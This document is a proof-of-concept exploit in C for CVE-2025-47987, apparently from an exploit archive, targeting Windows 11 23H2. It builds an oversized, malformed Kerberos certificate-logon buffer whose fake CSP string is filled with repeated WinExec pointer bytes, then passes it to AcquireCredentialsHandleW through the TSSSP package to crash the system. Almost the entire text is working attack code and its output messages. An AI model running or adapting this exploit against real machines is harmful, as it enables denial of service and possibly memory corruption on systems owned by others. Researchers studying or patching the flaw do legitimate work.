📄 Microsoft Windows 11 23H2 Denial of Service

# Exploit Title: Windows 11 23H2 - Denial of Service (DoS)
    # Google Dork: N/A
    # Date: 2025-08-22
    # Exploit Author: Kryptoenix
    # Vendor Homepage: https://www.microsoft.com/
    # Software Link: https://www.microsoft.com/en-us/software-download/windows11
    # Version: Windows 11 23H2
    # Tested on: Windows 11 23H2 (x64)
    # CVE: CVE-2025-47987
    
    
    
    #define SECURITY_WIN32
    #include <windows.h>
    #include <sspi.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <credssp.h>
    #include <stdint.h>
    #include <wchar.h>
    
    #pragma comment(lib, "secur32.lib")
    
    
    #define ALIGN_TO_8(x) (((x) + 7) & ~((size_t)7))
    
    
    int BuildKerbCertLogonBuffer(
        const WCHAR* username,
        const WCHAR* domain,
        const WCHAR* password,
        const BYTE* certBlob,
        DWORD certBlobSize,
        BYTE** outBuffer,
        DWORD* outBufferSize)
    {
        if (!username || !domain || !password || !certBlob || !outBuffer || !outBufferSize) return -1;
    
        uint64_t usernameLen = (uint64_t)(wcslen(username) * sizeof(WCHAR));
        uint64_t domainLen = (uint64_t)(wcslen(domain) * sizeof(WCHAR));
        uint64_t passwordLen = (uint64_t)(wcslen(password) * sizeof(WCHAR));
    
        size_t offsetUser = 0x48; // header is fixed 0x48 bytes
        size_t offsetPassword = offsetUser + ALIGN_TO_8(usernameLen);
        size_t offsetDomain = offsetPassword + ALIGN_TO_8(passwordLen);
        size_t offsetCert = offsetDomain + ALIGN_TO_8(domainLen);
    
        size_t totalSize = offsetCert + ALIGN_TO_8(certBlobSize);
    
        BYTE* buf = (BYTE*)malloc(totalSize);
        if (!buf) return -1;
        memset(buf, 0, totalSize);
    
        // 0x00: type
        *(uint64_t*)(buf + 0x00) = 13ULL;
    
        // username entry
        *(uint64_t*)(buf + 0x08) = usernameLen;
        *(uint64_t*)(buf + 0x10) = (uint64_t)offsetUser;
    
        // password entry
        *(uint64_t*)(buf + 0x18) = passwordLen;
        *(uint64_t*)(buf + 0x20) = (uint64_t)offsetPassword;
    
        // domain entry
        *(uint64_t*)(buf + 0x28) = domainLen;
        *(uint64_t*)(buf + 0x30) = (uint64_t)offsetDomain;
    
        // cert offset/size
        *(uint32_t*)(buf + 0x38) = (uint32_t)0x1337; // :)
        *(uint32_t*)(buf + 0x3C) = (uint32_t)certBlobSize;
        *(uint32_t*)(buf + 0x40) = (uint32_t)offsetCert;
    
        // payload copies
        memcpy(buf + offsetUser, username, usernameLen);
        memcpy(buf + offsetPassword, password, passwordLen);
        memcpy(buf + offsetDomain, domain, domainLen);
        memcpy(buf + offsetCert, certBlob, certBlobSize);
    
        printf("\nHeader of packed buffer (first 64 bytes):\n");
        for (size_t i = 0; i < (totalSize < 64 ? totalSize : 64); ++i) {
            printf("%02x ", buf[i]);
            if ((i & 0x7) == 0x7) printf("\n");
        }
        printf("\n");
    
    
        *outBuffer = buf;
        *outBufferSize = (DWORD)totalSize;
        return 0;
    }
    
    BYTE* BuildFakeCspData(
        const char* str,       
        size_t strLen,
        DWORD providerValue,   // stored at header[5]
        DWORD* outSize)        
    {
        if (!str) return NULL;
    
        size_t lenChars = strLen + 1; 
        size_t stringBytes = lenChars;     
    
        size_t headerBytes = 44; // 40-byte base + one DWORD offset
        size_t totalBytes = headerBytes + stringBytes;
        if (totalBytes < 0x30) totalBytes = 0x30;
    
        BYTE* buffer = (BYTE*)malloc(totalBytes);
        if (!buffer) return NULL;
        memset(buffer, 0, totalBytes);
    
        // header[5] = providerValue
        ((DWORD*)buffer)[5] = providerValue;
    
        // header[6] = offset for string (in bytes from start of data area)
        ((DWORD*)buffer)[6] = 0;
    
        // copy the string into the data area
        BYTE* stringArea = buffer + headerBytes;
        memcpy(stringArea, str, lenChars); 
    
        printf("Header of CSP buffer (first 44 bytes):\n");
        for (size_t i = 0; i < headerBytes; ++i) {
            printf("%02x ", buffer[i]);
            if ((i & 0x7) == 0x7) printf("\n");
        }
        printf("\n\n");
    
    
        if (outSize)
            *outSize = (DWORD)totalBytes;
    
        return buffer;
    }
    
    
    unsigned char* ptrToBytes(void* ptr, size_t* outLen) {
        size_t len = sizeof(void*); // 8 bytes 
        unsigned char* buf = (unsigned char*)malloc(len);
        if (!buf) return NULL;
        memcpy(buf, &ptr, len); // copy pointer value into buffer
        if (outLen) *outLen = len;
        return buf;
    }
    
    unsigned char* BuildStringPattern(const unsigned char* pattern, size_t patLen, size_t repeatCount) {
        size_t totalLen = patLen * repeatCount;
        unsigned char* buf = (unsigned char*)malloc(totalLen);
        if (!buf) return NULL;
    
        // add padding for pointer allignment
        memset(buf, 0, 4);
    
        unsigned char* p = buf + 4;
        for (size_t i = 0; i < repeatCount; i++) {
            memcpy(p, pattern, patLen);
            p += patLen;
        }
        return buf;
    }
    
    wchar_t* BuildWideStringPattern(const wchar_t* pattern, size_t repeatCount) {
        if (!pattern || repeatCount == 0) return NULL;
    
        size_t patLen = wcslen(pattern); 
        size_t totalLen = (patLen * repeatCount) + 1; 
    
        wchar_t* buf = (wchar_t*)malloc(totalLen * sizeof(wchar_t));
        if (!buf) return NULL;
    
        wchar_t* p = buf;
    
        // copy pattern repeatedly
        for (size_t i = 0; i < repeatCount; i++) {
            wmemcpy(p, pattern, patLen);
            p += patLen;
        }
    
        *p = L'\0';
    
        return buf;
    }
    int main(void)
    {
        size_t addrLen;
        unsigned char* addrBytes = ptrToBytes((void*)WinExec, &addrLen);
        if (!addrBytes) {
            fprintf(stderr, "Failed to allocate address bytes.\n");
            return 1;
        }
    
    
        size_t repeatCount = 0x1FFFFFE0; // 0xFFFFFF00 = 8 * 0x1FFFFFE0
        unsigned char* hugeStr = BuildStringPattern(addrBytes, addrLen, repeatCount);
        if (!hugeStr) {
            fprintf(stderr, "Failed to allocate huge buffer.\n");
            free(addrBytes);
            return 1;
        }
    
        DWORD fakeSize;
        printf("Building fake CSP buffer...\n\n");
        BYTE* fakeCsp = BuildFakeCspData((const char *)hugeStr, 0xFFFFFF00, 0x18, &fakeSize);
    
        if (!fakeCsp) {
            wprintf(L"Allocation failed\n");
            return 1;
        }
    
        wprintf(L"Built fake CSPDATA size=0x%X\n\n", fakeSize);
        //getchar();
    
        SECURITY_STATUS status;
        CredHandle credHandle;
        TimeStamp expiry;
    
        const WCHAR* username = L"exampleusername";
        const WCHAR* domain = L"exampledomain";
        const WCHAR* password = L"examplepassexamplepassexamplepassexamplepassexamplepass";   
        
    
        BYTE* buf = NULL;
        DWORD bufSize = 0;
    
        printf("Building fake KerbCertLogonBuffer...\n");
        if (BuildKerbCertLogonBuffer(username, domain, password, fakeCsp, fakeSize, &buf, &bufSize) != 0) {
            printf("Failed to build KerbCertLogonBuffer\n");
            return 1;
        }
    
        printf("Trigerring the bug...\n");
        status = AcquireCredentialsHandleW(
            NULL,
            (LPWSTR)L"TSSSP",       // pszPackage (name of the security package)
            SECPKG_CRED_OUTBOUND,   
            NULL,
            buf,                    // pAuthData (pointer to authentication data)
            NULL,
            NULL,
            &credHandle,
            &expiry
        );
    
        if (status == SEC_E_OK) {
            printf("AcquireCredentialsHandle succeeded\n");
            FreeCredentialsHandle(&credHandle);
        }
        else {
    
            if (status == SEC_E_INSUFFICIENT_MEMORY) {
                printf("Not enough memory to trigger the crash :(\n");
                printf("[-] PoC failed!\n");
            }
            else if (status == SEC_E_INTERNAL_ERROR) {
                printf("\n[+] PoC succeded! Enjoy the crash >:D\n");
            }
            else {
                printf("AcquireCredentialsHandle failed! Error: 0x%x\n",status);
                printf("[-] PoC failed!\n");
            }
        }
    
        if (buf) free(buf);
        if(hugeStr) free(hugeStr);
        if(fakeCsp) free(fakeCsp);
        return 0;
    }